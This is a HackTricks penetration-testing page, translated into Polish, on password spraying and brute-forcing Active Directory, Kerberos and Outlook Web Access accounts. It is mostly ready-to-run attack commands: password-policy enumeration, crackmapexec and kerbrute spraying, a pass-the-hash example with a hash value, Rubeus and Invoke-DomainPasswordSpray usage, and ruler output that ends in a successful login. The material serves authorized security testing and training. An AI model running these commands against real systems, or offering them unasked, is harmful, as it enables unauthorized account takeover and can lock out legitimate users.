Password Spraying / Brute Force

Support HackTricks

Password Spraying

Gdy znajdziesz kilka ważnych nazw użytkowników, możesz spróbować najczęściej używanych haseł (pamiętaj o polityce haseł w danym środowisku) dla każdego z odkrytych użytkowników. Zgodnie z domyślnymi ustawieniami minimalna długość hasła wynosi 7.

Listy popularnych nazw użytkowników mogą być również przydatne: https://github.com/insidetrust/statistically-likely-usernames

Zauważ, że możesz zablokować niektóre konta, jeśli spróbujesz kilku błędnych haseł (domyślnie więcej niż 10).

Get password policy

Jeśli masz jakieś dane logowania użytkownika lub powłokę jako użytkownik domeny, możesz uzyskać politykę haseł za pomocą:

# From Linux
crackmapexec <IP> -u 'user' -p 'password' --pass-pol

enum4linux -u 'username' -p 'password' -P <IP>

rpcclient -U "" -N 10.10.10.10;
rpcclient $>querydominfo

ldapsearch -h 10.10.10.10 -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength

# From Windows
net accounts

(Get-DomainPolicy)."SystemAccess" #From powerview

Eksploatacja z Linuxa (lub wszystkich)

  • Używając crackmapexec:

crackmapexec smb <IP> -u users.txt -p passwords.txt
# Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
# Password Spraying
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123
# Brute-Force
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
  • spray (możesz wskazać liczbę prób, aby uniknąć zablokowania konta):

spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
  • Używanie kerbrute (python) - NIEZALECANE, CZASAMI NIE DZIAŁA

python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
  • Z modułem scanner/smb/smb_login Metasploit:

  • Używając rpcclient:

# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/
for u in $(cat users.txt); do
rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority;
done

Z systemu Windows

  • Z wersją Rubeus z modułem brute:

# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>

# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
  • Z Invoke-DomainPasswordSpray (Może domyślnie generować użytkowników z domeny i pobiera politykę haseł z domeny oraz ograniczać próby zgodnie z nią):

Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
Invoke-SprayEmptyPassword

Bruteforce

legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org

Outlook Web Access

Istnieje wiele narzędzi do password spraying outlook.

Aby użyć któregokolwiek z tych narzędzi, potrzebujesz listy użytkowników i hasła / małej listy haseł do spryskania.

./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
[x] Failed: larsson:Summer2020
[x] Failed: cube0x0:Summer2020
[x] Failed: a.admin:Summer2020
[x] Failed: c.cube:Summer2020
[+] Success: s.svensson:Summer2020

Google

Okta

References

Wsparcie dla HackTricks

Last updated